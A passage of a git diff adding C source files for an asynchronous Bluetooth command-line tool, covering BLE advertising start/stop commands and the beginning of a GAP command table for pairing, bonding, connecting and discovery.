-1) { + switch (opt) { + case 'i': { + int id = atoi(optarg); + if (id < 0) { + PRINT("Invalid ID:%d", id); + return CMD_INVALID_PARAM; + } + PRINT("Stop adv ID:%d", id); + bt_le_stop_advertising_id(handle, id); + return CMD_OK; + } break; + case 'h': { + uint32_t advhandle = strtoul(optarg, NULL, 16); + if (!advhandle) { + PRINT("Invalid handle:0x%08" PRIx32 "", advhandle); + return CMD_INVALID_PARAM; + } + PRINT("Stop adv handle:0x%08" PRIx32 "", advhandle); + bt_le_stop_advertising(handle, INT2PTR(bt_advertiser_t*) advhandle); + return CMD_OK; + } break; + default: + break; + } + } + + return CMD_INVALID_OPT; +} + +static int set_adv_data_cmd(void* handle, int argc, char* argv[]) +{ + return CMD_OK; +} + +static int dump_adv_cmd(void* handle, int argc, char* argv[]) +{ + return CMD_OK; +} + +int adv_command_init(void* handle) +{ + return 0; +} + +void adv_command_uninit(void* handle) +{ +} + +int adv_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table_offset(handle, g_adv_tables, ARRAY_SIZE(g_adv_tables), argc, argv, 0); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/async/adv.c b/tools/async/adv.c new file mode 100644 index 0000000000000000000000000000000000000000..665df84746ff55f5f16c458a8c106fccfeec1a04 --- /dev/null +++ b/tools/async/adv.c @@ -0,0 +1,430 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdlib.h> +#include <string.h> + +#include "advertiser_data.h" +#include "bluetooth.h" +#include "bt_le_advertiser.h" +#include "bt_tools.h" + +#ifdef LOG_TAG +#undef LOG_TAG +#endif + +#define LOG_TAG "[bttool_async]" + +static int start_adv_cmd(void* handle, int argc, char* argv[]); +static int stop_adv_cmd(void* handle, int argc, char* argv[]); +static int set_adv_data_cmd(void* handle, int argc, char* argv[]); +static int dump_adv_cmd(void* handle, int argc, char* argv[]); + +static struct option adv_options[] = { + { "adv_type", required_argument, 0, 't' }, + { "mode", required_argument, 0, 'm' }, + { "interval", required_argument, 0, 'i' }, + { "peer_addr", required_argument, 0, 'P' }, + { "peer_addr_type", required_argument, 0, 'T' }, + { "own_addr", required_argument, 0, 'O' }, + { "own_addr_type", required_argument, 0, 'R' }, + { "tx_power", required_argument, 0, 'p' }, + { "channel", required_argument, 0, 'c' }, + { "filter", required_argument, 0, 'f' }, + { "duration", required_argument, 0, 'd' }, + { "default", no_argument, 0, 'D' }, + { 0, 0, 0, 0 } +}; + +static struct option adv_stop_options[] = { + { "advid", required_argument, 0, 'i' }, + { "handle", required_argument, 0, 'h' }, + { 0, 0, 0, 0 } +}; + +static bt_command_t g_adv_async_tables[] = { + { "start", start_adv_cmd, 1, "start advertising\n" + "\t -t or --adv_type, advertising type opt(adv_ind/direct_ind/nonconn_ind/scan_ind)\n" + "\t -m or --mode, advertising mode opt(legacy/ext/auto, default auto)\n" + "\t -i or --interval, advertising intervel range 0x20~0x4000\n" + "\t -n or --name, advertising name no more than 29 bytes \n" + "\t -a or --appearance, advertising appearance range 0000~FFFF \n" + "\t -P or --peer_addr, if directed advertising is performed, shall be valid\n" + "\t -T or --peer_addr_type, if directed advertising is performed, shall be valid\n" + "\t -O or --own_addr, update own random address for this advertising, mandatory when own addr type is random\n" + "\t -R or --own_addr_type, address type(public/random/public_id/random_id/anonymous)\n" + "\t -p or --tx_power, advertising tx power range -20~10 dBm\n" + "\t -c or --channel, advertising channel map opt (37/38/39, 0 means default)\n" + "\t -f or --filter, advertising white list filter policy(none/scan/conn/all)\n" + "\t -d or --duration, advertising duration, only extended adv valid, range 0x0~0xFFFF\n" + "\t -D or --default, use default advertising data and scan response data\n" }, + { "stop", stop_adv_cmd, 1, "stop advertising \n" + "\t -i or --advid, advertising ID, advertising_start_cb notify \n" + "\t -h or --handle, advertising handle, bt_le_start_advertising_async return \n" }, + { "set_data", set_adv_data_cmd, 1, "set advertising data, not implemented" }, + { "dump", dump_adv_cmd, 0, "dump adv current state" }, +}; + +static uint8_t s_adv_data[] = { 0x02, 0x01, 0x08, 0x03, 0xFF, 0x8F, 0x03 }; /* flags: LE & BREDR, Manufacturer ID:0x038F */ +static uint8_t s_rsp_data[] = { 0x08, 0x09, 0x56, 0x65, 0x6C, 0x61, 0x2D, 0x42, 0x54 }; /* Complete Local Name:Vela-BT */ + +static void start_advertising_callback_cb(bt_instance_t* ins, bt_status_t status, void* adv, void* userdata) +{ + PRINT("Advertising handle:%p", adv); +} + +static void usage(void) +{ + PRINT("Usage:\n"); + PRINT("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_adv_async_tables); i++) { + PRINT("\t%-4s\t%s\n", g_adv_async_tables[i].cmd, g_adv_async_tables[i].help); + } +} + +static void on_advertising_start_cb(bt_advertiser_t* adv, uint8_t adv_id, uint8_t status) +{ + PRINT("%s, handle:%p, adv_id:%d, status:%d", __func__, adv, adv_id, status); +} + +static void on_advertising_stopped_cb(bt_advertiser_t* adv, uint8_t adv_id) +{ + PRINT("%s, handle:%p, adv_id:%d", __func__, adv, adv_id); +} + +static advertiser_callback_t adv_callback = { + sizeof(adv_callback), + on_advertising_start_cb, + on_advertising_stopped_cb +}; + +static int start_adv_cmd(void* handle, int argc, char* argv[]) +{ + uint8_t adv_mode = 0; + ble_adv_params_t params = { 0 }; + advertiser_data_t *adv = NULL, *scan_rsp = NULL; + uint8_t *p_adv_data = NULL, *p_scan_rsp_data = NULL; + uint16_t adv_len, scan_rsp_len; + char* name = "VELA_BT"; + uint16_t appearance = 0; + int opt; + + params.adv_type = BT_LE_ADV_IND; + bt_addr_set_empty(¶ms.peer_addr); + params.peer_addr_type = BT_LE_ADDR_TYPE_PUBLIC; + bt_addr_set_empty(¶ms.own_addr); + params.own_addr_type = BT_LE_ADDR_TYPE_PUBLIC; + params.interval = 320; + params.tx_power = 0; + params.channel_map = BT_LE_ADV_CHANNEL_DEFAULT; + params.filter_policy = BT_LE_ADV_FILTER_WHITE_LIST_FOR_NONE; + params.duration = 0; + + optind = 0; + while ((opt = getopt_long(argc, argv, "+t:m:i:n:a:p:c:f:d:P:T:O:R:D", adv_options, + NULL)) + != -1) { + switch (opt) { + case 't': + if (strncasecmp(optarg, "adv_ind", strlen("adv_ind")) == 0) + params.adv_type = BT_LE_ADV_IND; + else if (strncasecmp(optarg, "direct_ind", strlen("direct_ind")) == 0) + params.adv_type = BT_LE_ADV_DIRECT_IND; + else if (strncasecmp(optarg, "nonconn_ind", strlen("nonconn_ind")) == 0) + params.adv_type = BT_LE_ADV_NONCONN_IND; + else if (strncasecmp(optarg, "scan_ind", strlen("scan_ind")) == 0) + params.adv_type = BT_LE_ADV_SCAN_IND; + else if (strncasecmp(optarg, "scan_rsp_ind", strlen("scan_rsp_ind")) == 0) + params.adv_type = BT_LE_SCAN_RSP; + else { + PRINT("error adv type: %s", optarg); + return CMD_INVALID_PARAM; + } + + PRINT("adv type: %s", optarg); + break; + case 'm': + if (strncasecmp(optarg, "legacy", strlen("legacy")) == 0) + adv_mode = 1; + else if (strncasecmp(optarg, "ext", strlen("ext")) == 0) + adv_mode = 2; + else if (strncasecmp(optarg, "auto", strlen("auto")) == 0) + adv_mode = 0; + else { + PRINT("erro adv mode: %s", optarg); + return CMD_INVALID_PARAM; + } + + PRINT("adv type: %s", optarg); + break; + case 'i': { + int32_t interval = atoi(optarg); + if (interval < 0x20 || interval > 0x4000) { + PRINT("error interval, range must in 0x20~0x4000"); + return CMD_INVALID_PARAM; + } + + params.interval = interval; + PRINT("interval: %f ms", (float)interval * 0.625); + } break; + case 'n': { + name = optarg; + PRINT("adv name: %s ", optarg); + } break; + case 'a': { + appearance = strtol(optarg, NULL, 16); + PRINT("adv appearance: 0x%04x ", appearance); + } + case 'p': { + int32_t power = atoi(optarg); + if (power < -20 || power > 10) { + PRINT("error tx power, range must in -20~10"); + return CMD_INVALID_PARAM; + } + + params.tx_power = power; + PRINT("tx_power: %" PRId32 " dBm", power); + } break; + case 'c': { + int32_t channel = atoi(optarg); + if (channel != 0 && channel != 37 && channel != 38 && channel != 39) { + PRINT("error channel selected:%s, please choose \ + one from 37,38,30, 0 means default", + optarg); + return CMD_INVALID_PARAM; + } + + if (channel == 0) + params.channel_map = BT_LE_ADV_CHANNEL_DEFAULT; + else if (channel == 37) + params.channel_map = BT_LE_ADV_CHANNEL_37_ONLY; + else if (channel == 38) + params.channel_map = BT_LE_ADV_CHANNEL_38_ONLY; + else if (channel == 39) + params.channel_map = BT_LE_ADV_CHANNEL_39_ONLY; + + PRINT("channel map: %s", channel == 0 ? "default" : optarg); + } break; + case 'f': { + if (strncasecmp(optarg, "none", strlen("none")) == 0) + params.filter_policy = BT_LE_ADV_FILTER_WHITE_LIST_FOR_NONE; + else if (strncasecmp(optarg, "scan", strlen("scan")) == 0) + params.filter_policy = BT_LE_ADV_FILTER_WHITE_LIST_FOR_SCAN; + else if (strncasecmp(optarg, "conn", strlen("conn")) == 0) + params.filter_policy = BT_LE_ADV_FILTER_WHITE_LIST_FOR_CONNECTION; + else if (strncasecmp(optarg, "all", strlen("all")) == 0) + params.filter_policy = BT_LE_ADV_FILTER_WHITE_LIST_FOR_ALL; + else { + PRINT("error filter policy: %s", optarg); + return CMD_INVALID_PARAM; + } + + PRINT("filter policy: %s", optarg); + } break; + case 'd': { + int32_t duration = atoi(optarg); + if (duration < 0 || duration > 0xFFFF) { + PRINT("error duration, range in 0x0000~0xFFFF"); + return CMD_INVALID_PARAM; + } + PRINT("duration: %" PRId32 " ms", duration * 10); + params.duration = duration; + } break; + case 'P': { + bt_address_t peeraddr; + if (bt_addr_str2ba(optarg, &peeraddr) != 0) { + PRINT("unrecognizable address format %s", optarg); + return CMD_INVALID_PARAM; + } + + memcpy(¶ms.peer_addr, &peeraddr, sizeof(bt_address_t)); + PRINT("peer address: %s", optarg); + } break; + case 'T': { + ble_addr_type_t type; + + if (le_addr_type(optarg, &type) < 0) { + PRINT("unrecognizable address type: %s", optarg); + return CMD_INVALID_PARAM; + } + params.peer_addr_type = type; + PRINT("peer address type: %s", optarg); + } break; + case 'O': { + bt_address_t ownaddr; + if (bt_addr_str2ba(optarg, &ownaddr) != 0) { + PRINT("unrecognizable address format %s", optarg); + return CMD_INVALID_PARAM; + } + + memcpy(¶ms.own_addr, &ownaddr, sizeof(bt_address_t)); + PRINT("own address: %s", optarg); + } break; + case 'R': { + ble_addr_type_t type; + + if (le_addr_type(optarg, &type) < 0) { + PRINT("unrecognizable address type: %s", optarg); + return CMD_INVALID_PARAM; + } + params.own_addr_type = type; + PRINT("own address type: %s", optarg); + } break; + case 'D': { + p_adv_data = s_adv_data; + adv_len = sizeof(s_adv_data); + p_scan_rsp_data = s_rsp_data; + scan_rsp_len = sizeof(s_rsp_data); + } break; + default: + PRINT("%s, default opt:%c, arg:%s", __func__, opt, optarg); + break; + } + } + + if (params.own_addr_type == BT_LE_ADDR_TYPE_RANDOM && bt_addr_is_empty(¶ms.own_addr)) { + PRINT("should set own address using \"-O\" option"); + return CMD_INVALID_ADDR; + } + + if (adv_mode == 1) + params.adv_type += BT_LE_LEGACY_ADV_IND; + else if (adv_mode == 2) + params.adv_type += BT_LE_EXT_ADV_IND; + + if (!p_adv_data) { + bt_uuid_t uuid; + + adv = advertiser_data_new(); + + /* set adv flags 0x08 */ + advertiser_data_set_flags(adv, BT_AD_FLAG_DUAL_MODE | BT_AD_FLAG_GENERAL_DISCOVERABLE); + + /* add spp uuid */ + bt_uuid16_create(&uuid, 0x1101); + advertiser_data_add_service_uuid(adv, &uuid); + + /* add handsfree uuid */ + bt_uuid16_create(&uuid, 0x111E); + advertiser_data_add_service_uuid(adv, &uuid); + + /* set adv appearance */ + if (appearance) + advertiser_data_set_appearance(adv, appearance); + + /* build adverser data */ + p_adv_data = advertiser_data_build(adv, &adv_len); + + scan_rsp = advertiser_data_new(); + + /* set adv complete name */ + advertiser_data_set_name(scan_rsp, name); + + /* build scan response data */ + p_scan_rsp_data = advertiser_data_build(scan_rsp, &scan_rsp_len); + } + + if (p_adv_data) + advertiser_data_dump(p_adv_data, adv_len, NULL); + + if (p_scan_rsp_data) + advertiser_data_dump(p_scan_rsp_data, scan_rsp_len, NULL); + + bt_le_start_advertising_async(handle, ¶ms, + p_adv_data, adv_len, + p_scan_rsp_data, scan_rsp_len, + &adv_callback, + start_advertising_callback_cb, NULL); + + /* free advertiser data */ + if (adv) + advertiser_data_free(adv); + + /* free scan response data */ + if (scan_rsp) + advertiser_data_free(scan_rsp); + + return CMD_OK; +} + +static int stop_adv_cmd(void* handle, int argc, char* argv[]) +{ + int opt; + + optind = 0; + while ((opt = getopt_long(argc, argv, "i:h:", adv_stop_options, + NULL)) + != -1) { + switch (opt) { + case 'i': { + int id = atoi(optarg); + if (id < 0) { + PRINT("Invalid ID:%d", id); + return CMD_INVALID_PARAM; + } + PRINT("Stop adv ID:%d", id); + bt_le_stop_advertising_id_async(handle, id, NULL, NULL); + return CMD_OK; + } break; + case 'h': { + uint32_t advhandle = strtoul(optarg, NULL, 16); + if (!advhandle) { + PRINT("Invalid handle:0x%08" PRIx32 "", advhandle); + return CMD_INVALID_PARAM; + } + PRINT("Stop adv handle:0x%08" PRIx32 "", advhandle); + bt_le_stop_advertising_async(handle, INT2PTR(bt_advertiser_t*) advhandle, NULL, NULL); + return CMD_OK; + } break; + default: + break; + } + } + + return CMD_INVALID_OPT; +} + +static int set_adv_data_cmd(void* handle, int argc, char* argv[]) +{ + return CMD_OK; +} + +static int dump_adv_cmd(void* handle, int argc, char* argv[]) +{ + return CMD_OK; +} + +int adv_command_init_async(void* handle) +{ + return 0; +} + +void adv_command_uninit_async(void* handle) +{ +} + +int adv_command_exec_async(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table_offset(handle, g_adv_async_tables, ARRAY_SIZE(g_adv_async_tables), argc, argv, 0); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/async/gap.c b/tools/async/gap.c new file mode 100644 index 0000000000000000000000000000000000000000..0697eb2705e539dc4f10f23a61ef0788f4b88488 --- /dev/null +++ b/tools/async/gap.c @@ -0,0 +1,1646 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_async.h" +#include "bt_tools.h" +#include "utils.h" + +#ifdef LOG_TAG +#undef LOG_TAG +#endif + +#define LOG_TAG "[bttool_async]" + +static void usage(void); +static int usage_cmd(void* handle, int argc, char** argv); +static int enable_cmd(void* handle, int argc, char** argv); +static int disable_cmd(void* handle, int argc, char** argv); +static int discovery_cmd(void* handle, int argc, char** argv); +static int get_state_cmd(void* handle, int argc, char** argv); +static int set_adapter_cmd(void* handle, int argc, char** argv); +static int get_adapter_cmd(void* handle, int argc, char** argv); +static int set_scanmode_cmd(void* handle, int argc, char** argv); +static int get_scanmode_cmd(void* handle, int argc, char** argv); +static int set_iocap_cmd(void* handle, int argc, char** argv); +static int get_iocap_cmd(void* handle, int argc, char** argv); +static int get_local_addr_cmd(void* handle, int argc, char** argv); +static int get_appearance_cmd(void* handle, int argc, char** argv); +static int set_appearance_cmd(void* handle, int argc, char** argv); +static int set_le_addr_cmd(void* handle, int argc, char** argv); +static int get_le_addr_cmd(void* handle, int argc, char** argv); +static int set_identity_addr_cmd(void* handle, int argc, char** argv); +static int set_scan_parameters_cmd(void* handle, int argc, char** argv); +static int get_local_name_cmd(void* handle, int argc, char** argv); +static int set_local_name_cmd(void* handle, int argc, char** argv); +static int get_local_cod_cmd(void* handle, int argc, char** argv); +static int set_local_cod_cmd(void* handle, int argc, char** argv); +static int pair_cmd(void* handle, int argc, char** argv); +static int pair_set_auto_cmd(void* handle, int argc, char** argv); +static int pair_reply_cmd(void* handle, int argc, char** argv); +static int pair_set_pincode_cmd(void* handle, int argc, char** argv); +static int pair_set_passkey_cmd(void* handle, int argc, char** argv); +static int pair_set_confirm_cmd(void* handle, int argc, char** argv); +static int pair_set_tk_cmd(void* handle, int argc, char** argv); +static int pair_set_oob_cmd(void* handle, int argc, char** argv); +static int pair_get_oob_cmd(void* handle, int argc, char** argv); +static int connect_cmd(void* handle, int argc, char** argv); +static int disconnect_cmd(void* handle, int argc, char** argv); +static int le_connect_cmd(void* handle, int argc, char** argv); +static int le_disconnect_cmd(void* handle, int argc, char** argv); +static int create_bond_cmd(void* handle, int argc, char** argv); +static int cancel_bond_cmd(void* handle, int argc, char** argv); +static int remove_bond_cmd(void* handle, int argc, char** argv); +static int device_show_cmd(void* handle, int argc, char** argv); +static int device_set_alias_cmd(void* handle, int argc, char** argv); +static int get_bonded_devices_cmd(void* handle, int argc, char** argv); +static int get_connected_devices_cmd(void* handle, int argc, char** argv); +static int search_cmd(void* handle, int argc, char** argv); +static int start_service_cmd(void* handle, int argc, char** argv); +static int stop_service_cmd(void* handle, int argc, char** argv); +static int set_phy_cmd(void* handle, int argc, char** argv); +static int dump_cmd(void* handle, int argc, char** argv); +static int quit_cmd(void* handle, int argc, char** argv); + +static struct option le_conn_options[] = { + { "addr", required_argument, 0, 'a' }, + { "type", required_argument, 0, 't' }, + { "defaults", no_argument, 0, 'd' }, + { "filter", required_argument, 0, 'f' }, + { "phy", required_argument, 0, 'p' }, + { "latency", required_argument, 0, 'l' }, + { "conn_interval_min", required_argument, 0, 0 }, + { "conn_interval_max", required_argument, 0, 0 }, + { "timeout", required_argument, 0, 'T' }, + { "scan_interval", required_argument, 0, 0 }, + { "scan_window", required_argument, 0, 0 }, + { "min_ce_length", required_argument, 0, 0 }, + { "max_ce_length", required_argument, 0, 0 }, + { "help", no_argument, 0, 'h' }, + { 0, 0, 0, 0 } +}; + +#define LE_CONN_USAGE "\n" \ + "\t -a or --addr, peer le device address\n" \ + "\t -t or --type, peer le device address type, address type(0:public,1:random,2:public_id,3:random_id)\n" \ + "\t -d or --default, use default parameter\n" \ + "\t -f or --filter, connection filter policy, (0:addr,1:whitelist)\n" \ + "\t -p or --phy, init phy type, (0:1M,1:2M,2:Coded)\n" \ + "\t -l or --latency, connection latency Range: 0x0000 to 0x01F3\n" \ + "\t --conn_interval_min, Range: 0x0006 to 0x0C80\n" \ + "\t --conn_interval_max, Range: 0x0006 to 0x0C80\n" \ + "\t -T or --timeout, supervision timeout Range: 0x000A to 0x0C80\n" \ + "\t --scan_interval, Range: 0x0004 to 0x4000\n" \ + "\t --scan_window, Range: 0x0004 to 0x4000\n" \ + "\t --min_ce_length, Range: 0x0000 to 0xFFFF\n" \ + "\t --max_ce_length, Range: 0x0000 to 0xFFFF\n" + +#define INQUIRY_USAGE "inquiry device\n" \ + "\t\t\t- start <timeout>(Range: 1-48, i.e., 1.28-61.44s)\n" \ + "\t\t\t- stop" + +#define SET_LE_PHY_USAGE "set le tx and rx phy, params: <addr><txphy><rxphy>(0:1M, 1:2M, 2:CODED)" + +static bt_command_t g_async_cmd_tables[] = { + { "enable", enable_cmd, 0, "enable stack" }, + { "disable", disable_cmd, 0, "disable stack" }, + { "state", get_state_cmd, 0, "get adapter state" }, + { "inquiry", discovery_cmd, 0, INQUIRY_USAGE }, + { "set", set_adapter_cmd, 0, "set adapter information, input \'set help\' show usage" }, + { "get", get_adapter_cmd, 0, "get adapter information, input \'get help\' show usage" }, + { "pair", pair_cmd, 0, "reply pair request, input \'pair help\' show usage" }, + { "connect", connect_cmd, 0, "connect classic peer device, params: <addr>" }, + { "disconnect", disconnect_cmd, 0, "disconnect peer device, params: <addr>" }, + { "leconnect", le_connect_cmd, 1, "connect le peer device, input \'leconnect -h\' show usage" }, + { "ledisconnect", le_disconnect_cmd, 0, "disconnect le peer device, params: <addr>" }, + { "createbond", create_bond_cmd, 0, "create bond, params: <addr> <transport>(0:BLE, 1:BREDR)" }, + { "cancelbond", cancel_bond_cmd, 0, "cancel bond, params: <addr>" }, + { "removebond", remove_bond_cmd, 0, "remove bond, params: <addr> <transport>(0:BLE, 1:BREDR)" }, + { "setalias", device_set_alias_cmd, 0, "set device alias, params: <addr>" }, + { "device", device_show_cmd, 0, "show device information, params: <addr>" }, + { "search", search_cmd, 0, "service serach <addr>, Not implemented" }, + { "start", start_service_cmd, 0, "start profile service, Not implemented" }, + { "stop", stop_service_cmd, 0, "stop profile service, Not implemented" }, + { "setphy", set_phy_cmd, 0, SET_LE_PHY_USAGE }, +#ifdef CONFIG_BLUETOOTH_BLE_ADV + { "adv", adv_command_exec_async, 0, "advertising cmd, input \'adv\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + { "scan", scan_command_exec_async, 0, "scan cmd, input \'scan\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + { "a2dpsnk", a2dp_sink_command_exec, 0, "a2dp sink cmd, input \'a2dpsnk\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + { "a2dpsrc", a2dp_src_command_exec, 0, "a2dp source cmd, input \'a2dpsrc\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_HFP_HF + { "hf", hfp_hf_command_exec, 0, "hands-free cmd, input \'hf\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_HFP_AG + { "ag", hfp_ag_command_exec, 0, "audio-gateway cmd, input \'ag\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_SPP + { "spp", spp_command_exec, 0, "serial port cmd, input \'spp\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_HID_DEVICE + { "hidd", hidd_command_exec, 0, "hid device cmd, input \'hidd\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_PAN + { "pan", pan_command_exec, 0, "pan cmd, input \'pan\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_GATT_CLIENT + { "gattc", gattc_command_exec_async, 0, "gatt client cmd input \'gattc\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_GATT_SERVER + { "gatts", gatts_command_exec, 0, "gatt server cmd input \'gatts\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_SERVER + { "leas", leas_command_exec, 0, "lea server cmd, input \'leas\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_MCP + { "mcp", lea_mcp_command_exec, 0, "leaudio mcp cmd, input \'mcp\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_CCP + { "ccp", lea_ccp_command_exec, 0, "lea ccp cmd, input \'ccp\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_VMICS + { "vmics", vmics_command_exec, 0, "vcp/micp server cmd, input \'vmics\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_CLIENT + { "leac", leac_command_exec, 0, "lea client cmd, input \'leac\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_MCS + { "mcs", lea_mcs_command_exec, 0, "leaudio mcp cmd, input \'mcs\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_TBS + { "tbs", lea_tbs_command_exec, 0, "lea tbs cmd, input \'tbs\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_VMICP + { "vmicp", vmicp_command_exec, 0, "vcp/micp client cmd, input \'vmicp\' show usage" }, +#endif + { "dump", dump_cmd, 0, "dump adapter state" }, +#ifdef CONFIG_BLUETOOTH_LOG + { "log", log_command_async, 0, "log control command" }, +#endif + { "help", usage_cmd, 0, "Usage for bttools" }, + { "quit", quit_cmd, 0, "Quit" }, + { "q", quit_cmd, 0, "Quit" }, +}; + +#define SET_IOCAP_USAGE "params: <io capability> (0:displayonly, 1:yes&no, 2:keyboardonly, 3:no-in/no-out 4:keyboard&display)" +#define SET_CLASS_USAGE "params: <local class of device>, range in 0x0-0xFFFFFC, the 2 least significant shall be 0b00, example: 0x00640404" +#define SET_SCANPARAMS_USAGE "set scan parameters, params: <mode>(0: INQUIRY, 1: PAGE), <type>(0: standard, 1: interlaced), <interval>(range in 18-4096), <window>(range in 17-4096)" + +static bt_command_t g_set_cmd_tables[] = { + { "scanmode", set_scanmode_cmd, 0, "params: <scan mode> (0:none, 1:connectable 2:connectable&discoverable)" }, + { "iocap", set_iocap_cmd, 0, SET_IOCAP_USAGE }, + { "name", set_local_name_cmd, 0, "params: <local name>, example \"vela-bt\"" }, + { "class", set_local_cod_cmd, 0, SET_CLASS_USAGE }, + { "appearance", set_appearance_cmd, 0, "set le adapter appearance, params: <appearance>" }, + { "leaddr", set_le_addr_cmd, 0, "set ble adapter addr, params: <leaddr>" }, + { "id", set_identity_addr_cmd, 0, "set ble identity addr, params: <identity addr> <addr type>" }, + { "scanparams", set_scan_parameters_cmd, 0, SET_SCANPARAMS_USAGE }, + { "help", NULL, 0, "show set help info" }, + //{ "", , "set " }, +}; + +static bt_command_t g_get_cmd_tables[] = { + { "scanmode", get_scanmode_cmd, 0, "get adapter scan mode" }, + { "iocap", get_iocap_cmd, 0, "get adapter io capability" }, + { "addr", get_local_addr_cmd, 0, "get adapter local addr" }, + { "leaddr", get_le_addr_cmd, 0, "get ble adapter addr" }, + { "name", get_local_name_cmd, 0, "get adapter local name" }, + { "appearance", get_appearance_cmd, 0, "get le adapter appearance" }, + { "class", get_local_cod_cmd, 0, "get adapter local class of device" }, + { "bonded", get_bonded_devices_cmd, 0, "get bonded devices, params:<transport>(0:BLE, 1:BREDR)" }, + { "connected", get_connected_devices_cmd, 0, "get connected devices params:<transport>(0:BLE, 1:BREDR)" }, + { "help", NULL, 0, "show get help info" }, + //{ "", , "get " }, +}; + +#define PAIR_PASSKEY_USAGE "input ssp passkey, params: <addr> <transport>(0:BLE, 1:BREDR)<reply>(0 :reject, 1: accept)<passkey>" +#define PAIR_CONFIRM_USAGE "set ssp confirmation, params: <addr> <transport> (0:BLE, 1:BREDR)<conform>(0 :reject, 1: accept)" + +static bt_command_t g_pair_cmd_tables[] = { + { "auto", pair_set_auto_cmd, 0, "enable pair auto reply, params: <enable>(0:disable, 1:enable)" }, + { "reply", pair_reply_cmd, 0, "reply the pair request, params: <addr><accept?>(0 :reject, 1: accept)" }, + { "pin", pair_set_pincode_cmd, 0, "input pin code, params: <addr><accept?>(0 :reject, 1: accept)<pincode>" }, + { "passkey", pair_set_passkey_cmd, 0, PAIR_PASSKEY_USAGE }, + { "confirm", pair_set_confirm_cmd, 0, PAIR_CONFIRM_USAGE }, + { "set_tk", pair_set_tk_cmd, 0, "set oob temporary key for le legacy pairing: <addr><tk_val>" }, + { "set_oob", pair_set_oob_cmd, 0, "set remote oob data for le sc pairing: <addr><c_val><r_val>" }, + { "get_oob", pair_get_oob_cmd, 0, "get local oob data for le sc pairing: <addr>" }, + { "help", NULL, 0, "show pair help info" }, + //{ "", , "set " }, +}; + +static void* adapter_callback_async = NULL; +static bool g_cmd_had_inited = false; + +extern bt_instance_t* g_bttool_ins; +extern bool g_auto_accept_pair; +extern bond_state_t g_bond_state; + +static void status_cb(bt_instance_t* ins, bt_status_t status, void* userdata) +{ + PRINT("%s status: %d", __func__, status); +} + +static void bt_tool_init(void* handle) +{ + if (g_cmd_had_inited) + return; + +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + scan_command_init_async(handle); +#endif +#ifdef CONFIG_BLUETOOTH_GATT + gattc_command_init_async(handle); +#endif + + g_cmd_had_inited = true; +} + +static void bt_tool_uninit(void* handle) +{ + if (!g_cmd_had_inited) + return; + +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + scan_command_uninit_async(handle); +#endif +#ifdef CONFIG_BLUETOOTH_GATT + gattc_command_uninit_async(handle); +#endif + + g_cmd_had_inited = false; +} + +static int enable_cmd(void* handle, int argc, char** argv) +{ + bt_adapter_enable_async(handle, status_cb, NULL); + return CMD_OK; +} + +static int disable_cmd(void* handle, int argc, char** argv) +{ + bt_adapter_disable_async(handle, status_cb, NULL); + return CMD_OK; +} + +static void get_state_cb(bt_instance_t* ins, bt_status_t status, bt_adapter_state_t state, void* userdata) +{ + PRINT("%s state: %d", __func__, state); +} + +static int get_state_cmd(void* handle, int argc, char** argv) +{ + bt_adapter_get_state_async(handle, get_state_cb, NULL); + return CMD_OK; +} + +static int discovery_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (!strcmp(argv[0], "start")) { + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + int timeout = atoi(argv[1]); + if (timeout <= 0 || timeout > 48) { + PRINT("%s, invalid timeout value:%d", __func__, timeout); + return CMD_INVALID_PARAM; + } + + PRINT("start discovery timeout:%d", timeout); + if (bt_adapter_start_discovery_async(handle, timeout, status_cb, NULL) != BT_STATUS_SUCCESS) + return CMD_ERROR; + } else if 